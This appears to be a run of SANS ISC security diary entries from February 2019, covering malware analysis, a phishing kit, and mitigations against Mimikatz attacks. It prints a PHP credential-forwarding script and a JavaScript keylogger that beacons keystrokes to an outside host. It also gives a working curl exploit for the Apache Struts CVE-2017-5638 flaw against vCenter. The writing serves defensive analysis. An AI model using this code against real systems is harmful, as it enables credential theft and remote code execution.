HID Information Disclosure Vulnerability
%%cve:2019-0600%% No No Less Likely Less Likely Important 4.7 4.2
%%cve:2019-0601%% No No Less Likely Less Likely Important 4.7 4.2
Internet Explorer Information Disclosure Vulnerability
%%cve:2019-0676%% No Yes More Likely Detected Important 2.4 2.2
Internet Explorer Memory Corruption Vulnerability
%%cve:2019-0606%% No No - - Critical 6.4 5.8
Jet Database Engine Remote Code Execution Vulnerability
%%cve:2019-0625%% No No Less Likely Less Likely Important 7.8 7.0
%%cve:2019-0595%% No No Less Likely Less Likely Important 7.8 7.0
%%cve:2019-0596%% No No Less Likely Less Likely Important 7.8 7.0
%%cve:2019-0597%% No No Less Likely Less Likely Important 7.8 7.0
%%cve:2019-0598%% No No Less Likely Less Likely Important 7.8 7.0
%%cve:2019-0599%% No No Less Likely Less Likely Important 7.8 7.0
Latest Servicing Stack Updates
ADV990001 No No - - Critical    
Microsoft Browser Spoofing Vulnerability
%%cve:2019-0654%% No No More Likely More Likely Important 2.4 2.2
Microsoft Edge Information Disclosure Vulnerability
%%cve:2019-0643%% No No - - Moderate 4.3 3.9
Microsoft Edge Memory Corruption Vulnerability
%%cve:2019-0645%% No No - - Critical 4.2 3.8
%%cve:2019-0650%% No No - - Critical 4.2 3.8
%%cve:2019-0634%% No No - - Critical 4.2 3.8
Microsoft Edge Security Feature Bypass Vulnerability
%%cve:2019-0641%% No No - - Moderate 4.3 3.9
Microsoft Excel Information Disclosure Vulnerability
%%cve:2019-0669%% No No More Likely More Likely Important    
Microsoft Exchange Server Elevation of Privilege Vulnerability
%%cve:2019-0686%% Yes No More Likely More Likely Important    
%%cve:2019-0724%% No No - - Important    
Microsoft Office Access Connectivity Engine Remote Code Execution Vulnerability
%%cve:2019-0671%% No No Less Likely Less Likely Important    
%%cve:2019-0672%% No No Less Likely Less Likely Important    
%%cve:2019-0673%% No No Less Likely Less Likely Important    
%%cve:2019-0674%% No No Less Likely Less Likely Important    
%%cve:2019-0675%% No No - - Important    
Microsoft Office Security Feature Bypass Vulnerability
%%cve:2019-0540%% No No More Likely More Likely Important    
Microsoft SharePoint Elevation of Privilege Vulnerability
%%cve:2019-0668%% No No - - Important    
Microsoft SharePoint Remote Code Execution Vulnerability
%%cve:2019-0594%% No No Less Likely Less Likely Critical    
%%cve:2019-0604%% No No Less Likely Less Likely Critical    
Microsoft SharePoint Spoofing Vulnerability
%%cve:2019-0670%% No No - - Moderate    
Scripting Engine Elevation of Privileged Vulnerability
%%cve:2019-0649%% No No - - Important 4.2 3.8
Scripting Engine Information Disclosure Vulnerability
%%cve:2019-0648%% No No - - Important 4.3 3.9
%%cve:2019-0658%% No No - - Important 4.3 3.9
Scripting Engine Memory Corruption Vulnerability
%%cve:2019-0607%% No No - - Critical 4.2 3.8
%%cve:2019-0610%% No No - - Important 4.2 3.8
%%cve:2019-0640%% No No - - Critical 4.2 3.8
%%cve:2019-0642%% No No - - Critical 4.2 3.8
%%cve:2019-0644%% No No - - Critical 4.2 3.8
%%cve:2019-0651%% No No - - Critical 4.2 3.8
%%cve:2019-0652%% No No - - Critical 4.2 3.8
%%cve:2019-0655%% No No - - Critical 4.2 3.8
%%cve:2019-0590%% No No - - Critical 4.2 3.8
%%cve:2019-0591%% No No - - Critical 4.2 3.8
%%cve:2019-0593%% No No - - Critical 4.2 3.8
%%cve:2019-0605%% No No - - Critical 4.2 3.8
Team Foundation Server Cross-site Scripting Vulnerability
%%cve:2019-0743%% No No Less Likely Less Likely Important    
%%cve:2019-0742%% No No Less Likely Less Likely Important    
Visual Studio Code Remote Code Execution Vulnerability
%%cve:2019-0728%% No No Less Likely Less Likely Important    
Win32k Elevation of Privilege Vulnerability
%%cve:2019-0623%% No No - - Important 7.0 6.3
Win32k Information Disclosure Vulnerability
%%cve:2019-0628%% No No More Likely More Likely Important 4.7 4.2
Windows DHCP Server Remote Code Execution Vulnerability
%%cve:2019-0626%% No No Less Likely Less Likely Critical 9.8 8.8
Windows Defender Firewall Security Feature Bypass Vulnerability
%%cve:2019-0637%% No No Less Likely Less Likely Important 5.3 4.8
Windows GDI Information Disclosure Vulnerability
%%cve:2019-0660%% No No Less Likely Less Likely Important 4.7 4.2
%%cve:2019-0664%% No No - - Important 4.7 4.2
%%cve:2019-0602%% No No Less Likely Less Likely Important 4.7 4.2
%%cve:2019-0615%% No No Less Likely Less Likely Important 4.7 4.2
%%cve:2019-0616%% No No Less Likely Less Likely Important 4.7 4.2
%%cve:2019-0619%% No No Less Likely Less Likely Important 4.7 4.2
Windows Hyper-V Information Disclosure Vulnerability
%%cve:2019-0635%% No No Less Likely Less Likely Important 5.4 4.9
Windows Information Disclosure Vulnerability
%%cve:2019-0636%% Yes No More Likely More Likely Important 5.5 5.1
Windows Kernel Elevation of Privilege Vulnerability
%%cve:2019-0656%% No No - - Important 4.7 4.2
Windows Kernel Information Disclosure Vulnerability
%%cve:2019-0661%% No No - - Important 4.7 4.2
%%cve:2019-0621%% No No More Likely More Likely Important 5.5 5.0
Windows SMB Remote Code Execution Vulnerability
%%cve:2019-0630%% No No More Likely More Likely Important 7.5 6.7
%%cve:2019-0633%% No No More Likely More Likely Important 7.5 6.7
Windows Security Feature Bypass Vulnerability
%%cve:2019-0627%% No No More Likely More Likely Important 5.3 4.8
%%cve:2019-0631%% No No More Likely More Likely Important 5.3 4.8
%%cve:2019-0632%% No No More Likely More Likely Important 5.3 4.8
Windows Storage Service Elevation of Privilege Vulnerability
%%cve:2019-0659%% No No Less Likely Less Likely Important 7.0 6.3


Renato Marinho
Morphus Labs| LinkedIn|Twitter


Published: 2019-02-11

Have You Seen an Email Virus Recently?

I did some research into the delivery of the malicious documents I analyzed this weekend (diary entries here and here).

I obtained several emails used to deliver these malicious documents as attachment. It started February 4th. All these emails are replies to existing emails, some to emails many years old.

The body of the message is always the same:





Please see the attached file for your reference.


zip password - 1234567



The subject varies, depending on the original email: Re: ...

The sender is one of the destinataires of the original email. I don't think they are spoofed, but I need to check more emails.

And the mailer is always Outlook.

I have an hypothesis, but I need to do more research to confirm or disprove it. And more info: maybe you can help.

The attached malicious documents execute the following PowerShell script:

This PowerShell script downloads and executes 2 items (strictly speaking, 3 downloads, but that's another story):

  1. Another PowerShell script
  2. A Windows EXE (PE file)

My hypothesis is the following: the downloaded PowerShell script is an email virus. It uses ActiveX automation to browse through the Outlook inbox of the user that opened the malicious document, and selects one or more received emails to reply to. The PowerShell scripts sends replies with the message I mentioned above, and a malicious document attached (inside a password protected ZIP file).

I did not find samples of this downloaded PowerShell script. If you look at the first PowerShell script (screenshot), you will see that the second, downloaded PowerShell script is downloaded and executed without being written to disk. That makes it more difficult to obtain samples.

If you have a sample like this, please post a comment.

My research is far from complete, but I decided to already share information in this diary entry, as a request for help.

And also, to create awareness for malicious documents that are being delivered via replies to genuine emails. Because such emails are more likely to be opened by your users.

My hypothesis could be totally wrong: there could be another mechanism at work here (like compromised email accounts). But fact is, that malicious documents are being mailed around as replies to existing emails.


Update: it's not an email virus, but most likely compromised email accounts. I just received 3 email samples with the same sender and recipient. All three were each emailed from a different IP address (2 Wisconsin, 1 California) within a timeframe of around one hour.

If an email virus would be at work on the machine of the sender, I would expect to see the same IP address.

Still, if you have a sample of the second PowerShell script, I'm interested.


Didier Stevens
Senior handler
Microsoft MVP


Published: 2019-02-10

Video: Maldoc Analysis of the Weekend

I made a video for yesterday's diary entry "Maldoc Analysis of the Weekend" (the analysis of a Word document with VBA launching a PowerShell command).

The sample I use in this video is different from yesterday's sample: I start with an email (.msg file) containing the maldoc in a password protected ZIP attachment. Unfortunately, I can't share the content of this email. But I'm looking for similar samples that I can share.


Didier Stevens
Senior handler
Microsoft MVP


Published: 2019-02-09

Maldoc Analysis of the Weekend

Yesterday I received malicious Office document request15.doc (MD5 8598361ecbbffb35900d0720b0316a56).

It contains VBA macros that execute a PowerShell script. That script is a bit different than usual, so let's take a look.

With, I look at the streams and find a macro stream:

Grepping for shell in the VBA code, it becomes clear what the purpose is:

Following the method I explained in diary entry "Quickie: String Analysis is Still Useful", I can quickly extract the PowerShell command:

Remark also that in the VBA code, character [ is replaced with letter A before the code is executed. I use sed to do the replacement:

And then I pipe this into

Giving me the following PowerShell script:

This PowerShell script enumerates all methods of class System.Net.WebClient, and takes action for methods DownloadString and DownloadData.

With DownloadString it downloads a PowerShell script to be executed (IEX).

And with DownloadData it downloads a Windows executable to be executed.

Both files were no longer available when I performed the analysis, but I could probably find them via VirusTotal.




Didier Stevens
Senior handler
Microsoft MVP


Published: 2019-02-07

Phishing Kit with JavaScript Keylogger

Here is an interesting sample! It’s a phishing page which entice the user to connect to his/her account to retrieve a potentially interesting document. As you can see, it’s a classic one:

The HTML file has a very low VT score (2/56) [1]. I wrote a YARA rule to search for more samples and found (until today) 10 different samples. The behaviour is classic: Data provided by the victim in the HTML form is send to a compromized host where the phishing kit was deployed. Each sample has a different URL. I was lucky to find the complete kit still available in a zip archive on one of them:

$ shasum -a 256
$ unzip -t
    testing: fileout/google.png       OK
    testing: fileout/login.php        OK
    testing: fileout/login2.php       OK
    testing: fileout/verification.html   OK
No errors detected in compressed data of

'login.php' is a very simple script that just forwards the stolen credentials to the bad guy via email:

$ cat -n login.php
     1    <?php
     2    $ip = getenv("REMOTE_ADDR");
     3    $email = $_POST['Email'];
     4    $password = $_POST['Passwd'];
     7    $login = "Email Address : ".$email;
     8    $pass = "Password : ".$password;
     9    $target = "IP victim : ".$ip;
    12    $head = "########### Login info ############";
    13    $foot = "####### Indramayu CyBer ###########";
    14    $body = "Googledoc Login Information";
    15    mail(“<redacted>", "$body","$head \n$login \n$pass \n$target \n$foot");
    16    header("Location: verification.html”);

As you can see, the victim will always be redirected to a second page (‘verification.html’) that will ask for more information:

You'll probably spot the difference between the screenshots, the first page asks for Microsoft credentials, the second one asks verification details for Google. That's because the phishing kit was found on a different seerver than the one used by the initial page (when I took the screenshots).

The form calls a second PHP script (‘login2.php’) which sends another email with the recovery information. Ok, but what is different this time? There is another “feature” in the first HTML page: A JavaScript keylogger!

     1 var keys = '';
     3 document.onkeypress = function(e) {
     4    var get = window.event ? event : e;
     5    var key = get.keyCode ? get.keyCode : get.charCode;
     6    key = String.fromCharCode(key);
     7    keys += key;
     8 }
    10 window.setInterval(function(){
    11    new Image().src = ‘hxxps://wq14u[.]com/keylog.php?c=' + keys;
    12    keys = '';
    13 }, 1000);

This piece of code will grab keys pressed in the browser windows and send them to the malicious server every second. This technique is not very efficient because special keys are not properly sent and the same URL is called again and again until the user remains on the same HTML page (1 req/sec).

Now the question: Why stealing credentials via two different techniques? I found references to the URL starting around December 15th 2018. If you have more details about this technique, please share!


Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant


Published: 2019-02-07

UAC is not all that bad really

User Access Control (UAC) is a feature Microsoft added long time ago (initially with Windows Vista) in an attempt to limit what local administrators can do on Windows. Basically, when a user logs in that is a local administrator, his session token will only have basic privileges, even though the user is actually an administrator.

In case the user wants to perform an activity that requires administrator privileges, the UAC system will ask the user to confirm the action. With modern Windows, when UAC is triggered, all applications and the taskbar is generally dimmed indicating that something important in happening.

As I do a lot of internal penetration tests, I actually quite often see that companies disable UAC for the whole enterprise. In many cases administrators complain that UAC causes them some problems and (as always in security), the easiest way is to disable the feature.

However, in a recent test I actually had an interesting challenge where UAC practically saved the day. Here is what happened.

I received a standard, non-privileged domain user account and a standard workstation, so I was able to simulate an attack by a disgruntled employee, for example. Since in basically every penetration test, reconnaissance is one of the most important activities, in internal tests I always try to enumerate and pilfer as much as possible from any internally available Windows shares.
I many cases things one can find on SYSVOL shares on domain controllers are worth pure gold – in this case I got lucky as well – I managed to find some VBS files that contained credentials for local administrators on user workstations. Sounded like game over, but was it?

Since I now had local administrator privileges, the next logical step was to use Mimikatz to dump any locally available secrets. After a little bit of tweaking to evade the anti-virus this particular customer was using, I dumped hashes and, to my disappointment, I did not find anything valuable – apart from local administrator accounts I already had.

Now, since these are local administrators on all workstations in the enterprise, one would think that somehow, we can mass pwn them. However, thanks to UAC, this is not really possible – UAC actually prevents local administrators (note that these were not domain accounts, but local accounts on each workstation, added to the local administrator group) from mapping C$ or ADMIN$ shares effectively preventing an attacker from using typical attack vectors (psexec and similar). This was probably the first case that I saw UAC really making a difference.

Of course, there was still a way to use these accounts – one can RDP to a workstation and login with the account I had (since I had plain text passwords as well), but this is not all that stealthy. Since I was debating mass pwnage possibilities, one of my friends and a great security researcher @k0st, quickly wrote a cool AutoIt script that one can use to automatically login to remote workstations and execute arbitrary commands. So I used the script to enable WinRM and modify configuration automatically on hundreds of workstations. You can find the script at

The lesson of this story was that one should not just blindly disable UAC – there are cases where it definitely helps. As with any other security control, it will not solve everything, but can slow down an attacker or make him become more visible, which in the end can help defenders.



Published: 2019-02-06

Hancitor malspam and infection traffic from Tuesday 2019-02-05


Since 2018-12-17, malicious spam (malspam) pushing Hancitor malware (also known as Chanitor or Tordal) had been using Excel spreadsheets as decoy documents.  Up through last week, a Hancitor executable file was embedded in these Excel spreadsheets. After opening the spreadsheet in Excel and enabling macros, the embedded Hancitor executable was dropped to a vulnerable Windows host.  We saw this as recently as Monday 2019-01-28.

But this week on Tuesday 2019-02-05, the Hancitor campaign changed its decoy document.  This campaign went back to using Word documents instead of Excel spreadsheets.  After enabling macros, the Hancitor executable was retrieved from a web server hosted on the same IP address (but a different domain) as the initial Word document.

This diary provides a quick review of Hancitor malspam from Tuesday 2019-02-05.

Shown above:  Flow chart for the Hancitor infection on 2019-02-05.

The emails

This recent wave of Hancitor malspam used a HelloFax theme, and these emails had a link to download a malicious Word document.  The Word document had a macro designed to infect a vulnerable Windows host with Hancitor.  The macro did not run properly when I used Word 2007, but it appeared to work in Word 2010 and later versions.  I'm not sure if this with Word 2007 issue was specific to my lab host.

Shown above:  Screenshot of an email from this wave of malspam.

Shown above:  The downloaded Word document.

Shown above:  Error when I enabled macros after opening the Word document in Word 2007.

The infection traffic

After @mesa_matt reported Tuesday's Hancitor domains on Twitter (link), @JayTHL reported these domains to the hosting provider, GoDaddy.  By the time I tried generating some infection traffic, these domains had been taken off-line.  To replicate the infection chain, I used a local server at to host the Word document and Hancitor executable.  Aside from the HTTP GET request to filmphil[.]com for m.exe, traffic patterns were remarkably consistent with previous Hancitor infections in recent weeks.

Shown above:  Traffic from the infection filtered in Wireshark.

Shown above:  DNS traffic to public IP addresses caused by Ursnif (Gozi IFSB).

Indicators of Compromise (IoCs)

Malspam information:

  • Date: Tuesday 2019-02-05
  • Sender (spoofed):
  • Theme: HelloFax

Malware information:

  • From @mesa_matt: list of domains hosting Hancitor Word docs (link)
  • From @James_inthe_box: URLs and file hashes for associated malware and c2 traffic (link)
  • Twitter thread discussing Hancitor on 2019-02-05 (link)

Final words

A pcap of infection traffic for today's diary can be found here.

Brad Duncan
brad [at]


Published: 2019-02-05

Mitigations against Mimikatz Style Attacks

If you are like me, at some point in most penetration tests you'll have a session on a Windows host, and you'll have an opportunity to dump Windows credentials from that host, usually using Mimikatz.  Mimikatz parses credentials (either clear-text or hashes) out of the LSASS process, or at least that's where it started - since it's original version back in the day, it has expanded to cover several different attack vectors.  An attacker can then use these credentials to "pivot" to attack other resources in the network - this is commonly called "lateral movement", though in many cases you're actually walking "up the tree" to ever-more-valuable targets in the infrastructure.

The defender / blue-teamer (or the blue-team's manager) will often say "this sounds like malware, isnt't that what Antivirus is?".  Sadly, this is half right - malware does use this style of attack.  The Emotet strain of malware for instance does exactly this, once it gains credentials and persistence it often passes control to other malware (such as TrickBot or Ryuk).  Also sadly, it's been pretty easy to bypass AV on this for some time now - there are a number of well-known bypasses that penetration testers use for the Mimikatz + AV combo, many of them outlined on the BHIS blog:

But what about standard Windows mitigations against Mimikatz?  Let's start from the beginnning, when Mimikatz first came out, Microsoft patched against that first version of code using KBKB2871997 (for Windows 7 era hosts, way back in 2014).

Since then, this protection has been integrated into Windows 8.x, Windows 10 and Server 2016+.

Unfortunately, even after applying this patch credentials are still stored in memory.  You still need to update a registry key to disable this behaviour:

, set to 0

(again, this is not required unless you still have Windows 7 or XP)

However, what you'll find is that these protections only protect against the initial vector.  Mimikatz and Microsoft are in an ongoing game of "cat and mouse" over this issue, and newer versions of Mimikatz have newer attacks.

So What else can you do?

As with everything, if you have SMBv1 or unsigned connections enabled, there are easier ways to skin the AD credential cat than to use Mimikatz - namely just use responder if you happen to have a host on the inside network:

You might want to scan for hosts that still support SMBv1 and mitigate those ( ).  You can also disable SMBv1 globally using GPO:

Also, forcing the signature of SMB connections will help against responder-type attacks:


Back to Mimikatz Specific Defenses:

Update your the OS on your Windows Servers. 

All too often we still see original-era Server 2008, Windows 7, or even Server 2003 and XP (or in some cases Server 2000! ).  Needless to say, the newer Windows Server OS's shine a brighter light on security - newer really is better.  If it won't break your server applications, update to Windows Server 2016 and Windows 10 (or 2019 if you are brave)

Update Active Directory's Functional level

Really this restates the first point.  Many of the Enterprise Protections that we'll discuss later in this post simply aren't available unless your AD Functional Level is set to some modern version.  If you can get the member stations updated, get your AD to 2016 at all possible!

Disable the debug right for local administrators on all servers and workstation

This is a newer attack - Windows has a "debug mode" that allows you to bypass many of it's native protections.  This is meant mainly to troubleshoot things like device drivers and other OS or low-level Application components.
If you have developers in your environment, they will absolutely push back against this change.  However, this right is only needed if you are running a "real" debugger such as IDA and are doing things like setting breakpoints in compiled binary code - you don't need usually this right to debug more common, higher level languages.  Folks like forensics Investigators do need these rights, but if they want those rights on their domain member workstations they need to go back to forensicator school.
To disable this setting on a single host, from MSConfig, navigate to Boot / Advanced Options, and disable "Debug".  This is the default setting in newer OS's.
In Group Policy, navigate to Security Settings / Local Policies / User Rights Assignments / Debug Programs.
By default, this is not configured - enable it, and don't add any users or groups to it (or add only the group(s) that truly need it, or who don't need it but won the political knife fight over this issue)

Disable the WDigest protocol across the board

This protocol was introduced way back in the day (XP era) for transparent HTTP authentication, and is still enabled by default in any surviving Windows 7 / Server 2008 hosts.  It's disabled by default in Windows 8 and newer.
To disable this, in RegEdit navigate to:
The values UserLogonCredential and Negotiate should both be set to "0"
(Note that "UseLoginCredential" doesn't exist in Server 2016+ and Windows 10)

Adding some monitoring of registry keys allows you to detect if a future attacker changes these settings back.

Enable LSA protection (RunAsPPL registry key)

This provides some protection of the memory used by the LSASS process.  To enable this, in the registry, navigate to
and set "RunAsPPL" to "1"

This one does have some risk, as it tries to apply protections to other components that LSASS might call (like 3rd party authentication code).  This is the first mitigation that carries risk - this can break things!  Fortunately Microsoft has some audit settings that can be deployed in  advance to assess if you have a problem in this area first.  More details on this, and the setting in general can be found here:


 Disable storage of plain text passwords in AD

Sometimes backwards compatibility thing comes back to bite Micosoft every day of the week.  The "Reversible Encryption" setting is one of these.  Back in olden times (Windows 2000 days), it was decided that people should be able to decrypt passwords, at the time mostly to make RADIUS work (IAS back then, now NPS).  Sadly this setting remains with us today, and it allows you to decrypt passwords as fast as they can echo to the screen.

To disable this, in Group Policy navigate to: Computer Configuration / Security Settings / Account Policies / Password Policy, and set "Store Passwords using reversible encryption" to "Disabled":

This setting is also available in the "Fine Grained Password Policy" section of ADAC (Active Directory Admin Console) - clear the checkbox if you are setting this here

More details on this can be found here:

Enable Restricted Admin Mode (“DisableRestrictedAdmin”  and “DisableRestrictedAdminOutboundCreds” registry keys)

This sets up your RDP session to NOT store credentials in the memory of the target host.  To start a session in Restricted Admin Mode, run your RDP session as:

mstsc /restrictedadmin /v:targethost

Note however that this means that your credentials aren't cached (that being the point), so from that RDP session you won't be able to use cached credentials to "pivot" to another host - for instance you won't be able to run Server Manager, WMIC, PSRemoting or any other AD admin tool and connect to transparently to another host.  That's a good thing, because if you could you would have just defeated your own protection (oops)

You can also control this behaviour with registry keys:

In HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa, set the DWORD value DisableRestrictedAdmin to "0" to enable restricted mode (this setting does not exist by default)


HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa, the DWORD value to create and set is DisableRestrictedAdminOutboundCreds:

  • Default value = doesn’t exist = 0 = Admin Outbound Creds are enabled 
  • Value =1 == Admin Outbound Creds are disabled

More can be found on these settings here:

Enforce “Enable Restrict delegation of credentials to remote servers” via group policy

This sets "restricted admin mode" as the default for all RDP sessions that are initiated by domain members that are in scope for that GPO.  This approach is generally preferred over setting the registry keys as outlined above

The GPO seeting is:
Computer Configurations > Policies > Administrative Templates > System > Credential Delegation, Then Set Restrict Delegation of credential to remote servers to "Enable" and "Require Restricted Admin"

Enforce NLA (Network Level Authentication) for RDP sessions

NLA forces RDP authentication over TLS (using a protocol called CredSSP), before the RDP session establishes.  This means that this setting doesn't mitigate against Mimikatz per-se, since Mimikatz attacks are generally against the local machine - it is more of a "prevent password sniffing off the wire" mitigation, so it defends against responder and the like.  However, this setting is typically deployed in combination with Restricted Admin Mode and Protected Users Groups (see below for this one).

To enforce this in Group Policy:
For Servers:
Computer Configuration/Policies/Administrative Templates/ Windows Components/Remote Desktop Services/Remote Desktop Session Host/Security
Enable: Require user authentication for remote connections by using Network Level Authentication

For Clients:
Computer Configuration/Policies/Administrative Templates/Windows Components/Remote Desktop Services/Remote Desktop Connection Client
Enable: Configure server authentication for client and in the drop-down menu choose “Do not connect if authentication fails”

Disable password caching

By default Windows will cache the last "x" number of authentications (including the password hashes), in case no Domain Controllers are available.  You can disable this in Group Policy at:
Computer Configuration -> Windows Settings -> Local Policy -> Security Options -> Interactive Logon: Number of previous logons to cache -> 0

Note that this might mess things up for people with laptops, who will want to login while away from the office.  You can set up your VPN client to force a VPN connection before login, but that'll of course cause you headaches if you need to authenticate to a wireless hotspot first.  Often that is mitigated by telling people to allow tethering to their cellphone, and then in written policies and technical controls forbid the use of free/public hotspots such as hotel or coffee shop wifi.  This is a simple and effective mitigation, but it needs some thought and communication in advance to make it work in many organizations.


Put administrative accounts in the “Protected Users” AD group, to force Kerberos authentication

Before using the Protected Users group, carefully review at least these two "starter" MS docs on this topic - there are pre-requisits and some gotchas!

From the MS Documentation:
Members of the Protected Users group who are signed-on to Windows 8.1 (and newer) devices and Windows Server 2012 R2 (and newer) hosts can no longer use:
    Default credential delegation (CredSSP) - plaintext credentials are not cached even when the Allow delegating default credentials policy is enabled
    Windows Digest - plaintext credentials are not cached even when they are enabled
    NTLM - NTOWF is not cached
    Kerberos long term keys - Kerberos ticket-granting ticket (TGT) is acquired at logon and cannot be re-acquired automatically
    Sign-on offline - the cached logon verifier is not created

If the domain functional level is Windows Server 2012 R2 (or higher), members of the group can no longer:
    Authenticate by using NTLM authentication
    Use Data Encryption Standard (DES) or RC4 cipher suites in Kerberos pre-authentication
    Be delegated by using unconstrained or constrained delegation
    Renew user tickets (TGTs) beyond the initial 4-hour lifetime

So for our discussion it disables most of the password caching we've discussed, forces Kerberos Authentication, and disables DES and RC4 ciphers.
Note that setting this group membership for servers or workstations will break a number of things (read those MS docs for details before you start working on this one!), this is meant for user accounts only.

Credential Guard

As the name implies, Credential Guard, well, guards your credentials.
Essentially it uses the virtualization capabilities inherent in most modern CPUs to protect credentials.  The LSA process continues to run in "user" memory, but the process itself no longer stores the credentials directly, it stores those in an "enclave" in memory that's protected by virtualization, using a process called "Virtual Secure Mode", in another related process called "LSA Secure Mode".  As Microsoft explains it ( ), LSA and LSA Secure Mode are both "Pretend VMs" under the same Hypervisor.

The configuration for Credential Guard is somewhat convoluted, but the high points are:

  • Install the "Hyper-V Hypervisor" and "Isolated User Mode" Windows Features (Hyper-V itself is not required)
  • (This is not required in Windows 10 v1607 and newer)
  • Within Group Policy, enable "Turn on Virtualization Based Security", and inside that option, enable "Secure Boot" with "Enable Virtualization Based Protection of Code Integrity"
  • Also in GPO, in Computer Configuration / Administrative Templates / System / Device Guard, set Deploy Code Integrity to "Enabled"
  • Note that for this train to leave the station your CPU needs to support Intel VT or AMD V, and you need to boot using UEFI.  Credential Guard will use TPM if it's available, but that doesn't seem to be well explained, aside from "Virtualization-based Security (VBS) uses the TPM to protect its key" (if anyone has a link for this other than I'd appreciate it)

Again, more details on deployment are here:

Have we mentioned that this is an arms race?  In September of 2018, a bypass of this protection was announced in Mimikatz.  While prior to this Mimikatz could harvest hashes directly from memory, what this bypass does is harvest credentials as they are entered - before they get to that protected memory area.
I would expect that since this is a virtualization protection, that Mimikatz might in the future use virtualization style attacks to harvest from the LSA Secure Mode memory space.  Since LSA can reach that data, I'm sure that Microsoft has an API squirreled away to get there too (there seems to be an API for everything else) - stay tuned as the defenders and attackers amp up their respective games on this.

Restrict Service or other Purpose-created Admin accounts to specific stations or servers

Again, this one doesn't stop Mimikatz from stealing credentials from the machine, but what it does do is prevent the re-use of those credentials for lateral movement to other targets, which is usually the whole point of the attack.

In Active Directory Admin Center (ADAC), under Authentication Policies, the option exists to for instance "pin" a service account to the host that the service runs on.  This means that that account (which is likely privileged) can't easily be used for lateral movement, even if the credentials are successfully recovered (using Mimikatz or other methods).


Set long and complex passwords for admin and service accounts

There are always more Mimikatz attacks - I haven't covered Kerberoasting and extraction of password hashes for services for instance, mainly because this story is more for the "Blue Team" defenders than the Red Team (attackers) - stay tuned, we'll get there on attacks.
Many of the Mimikatz attacks extract password hashes - you can often simply re-use these hashes in a "Pass the Hash" attack, but if the password is long and complex (I typically set service passwords to 16 or 32 or even more random characters), then the computation involved in cracking that password can make it cost-prohibitive.  Using words or even phrases for privileged accounts is tough to justify, and adding a "L33tspeak" component only slows attackers down a little bit.  Password length is the metric that matters the most, and not using real words takes many of the password cracking "short cuts" off the table.  Note that this also is an arms race - as GPU hardware improves the "how much computation effort is costly?" value is continually getting higher.

Other defensive measures

There are log entries to look for to detect Mimikatz as well, but that's more detection than prevention - I'll try to cover that in a future post.  I'll also run through some Mimikatz attack scenarios if someone doesn't beat me to it :-)


With this list behind us, it's apparent that this game between Mimikatz and Microsoft is an ongoing thing.  I'm sure that I've missed things in the list above, but this is a decent "starter" list of mitigations that should give you some decent coverage.  A determined attacker is likely to be able to still "get the job done", but implementing everything above will likely slow them down.  Automated malware that uses Mimikatz methods has less chance, no surprise there.  I'd also not be surprised if an entirely new attack doesn't pop up in the next few months, with a new defense from Microsoft to match it.  

Also with everything being said, I've yet to find an AD domain where everything above has been implemented.  Most AD Domains that I've assessed or pentested still have Server 2003 or Windows 7 (or even Server 2000!) members in production, so some of the recommended settings above can't be implemented yet.

Challenge to our Readers:

With everything I've described, what Mimikatz attacks do you use that will still execute successfully after the mitigations above are in place?  Please, use our comment form and share - I'd count this one as a win if we have more mitigations posted by you, our readers than I have in the write-up above!


Rob VandenBrink



Published: 2019-02-04

Wikipedia Articles as part of Tech Support Scamming Campaigns?

Caleb, one of our readers has reported that Wikipedia articles have been "primed" and are being used actively in the various fake tech support phone campaigns.  For instance, the Wikipedia article for SpyEye ( ) now contains this paragraph:

Indicators that something is wrong?

  • The grammar first and most obvious.   While grammar seems to be getting better in phishing campaigns, it's a decent indicator that something might be wrong on this page.
  • While the grammar might just as easily be an "English as a Second Language" speaker, the "Nobody can help you except 3 companies" verbage should be an alarm bell.  This is the text that's being used by the scammer to tell their victim that "only we can help you fix this (fake of course) infection you have on your computer"
  • The reference [6] goes to a parked page, and reference [5] refers to Zeus malware, which is a precursor to SpyEye.  Reference [7] points to a decent reference, but it's not related to the text it's a reference for.  
  • The Wikipedia "View History" page shows that the editor for this text was "Techaddy15031989", this account is no longer an account: .  Accounts that come and go during suspicious activities are a good indicator - just as DNS names changing frequently might be in a differnt style of attack.
    Other edits by this account are shown here:
  • Looking at the history on these other contributions, we see similar text on the "macro virus" page, which has since been corrected by other editors.

Given the editing model for Wikipedia, it's somewhat surprising that we don't see more malicious activity of this type on the platform.  While Google doesn't show exact matches to this text elsewhere at the moment, has anyone seen text with similar intent in other articles?  Maybe this is something we'll be seeing more of?

Rob VandenBrink


Published: 2019-02-04

Struts Vulnerability CVE-2017-5638 on VMware vCenter - the Gift that Keeps on Giving

All too often when doing an internal security assessment or penetration test, a simple NMAP scan will find back-end infrastructure such as RADIUS servers, Hypervisors, iLo, iDRAC and other BMC host addresss - essentially the parts of the datacenter that real people shouldn't need access to.

At which point, the heart to heart with your client should be "really, why exactly does "Steve in Accounting" have access to your hypervisor? (ESXi, vCenter console, Hyper-V or whatever?)   It's an even better point to make when you can make those connections from the Guest Wireless network.

The next conclusion should be - wait a minute!  After a quick check with a browser, that version and patch level of vCenter that we just found has a Remote Code Execution (RCE) vulnerability - the Apache Struts vulnerability CVE-2017-5638 - - remember the Equifax breach?  The Canadian Revenue Agency?  I could go on, the list is pretty lengthy.  All too often we see Windows hosts being patched at a reasonable rate, but internal management infrastructure like VMware vCenter, BMC controllers, routers, switches and firewalls get patched annually, or maybe just when they are installed and then never again.  Even though you can patch most "N+1"  Hypervisor environments without impacting service.  This leaves the client open to a plethora of default credentials and "old CVE" type vulnerabilities.  
In the case of vCenter, we can exploit the host with a simple curl command:

curl -v -k https://vSphereIP/statsreport/ -H "Content-Type: $(cat <<"EOF"
${(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='evil command goes here').(#iswin=(@java.lang.System@getProperty('').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(,#ros)).(#ros.flush())}

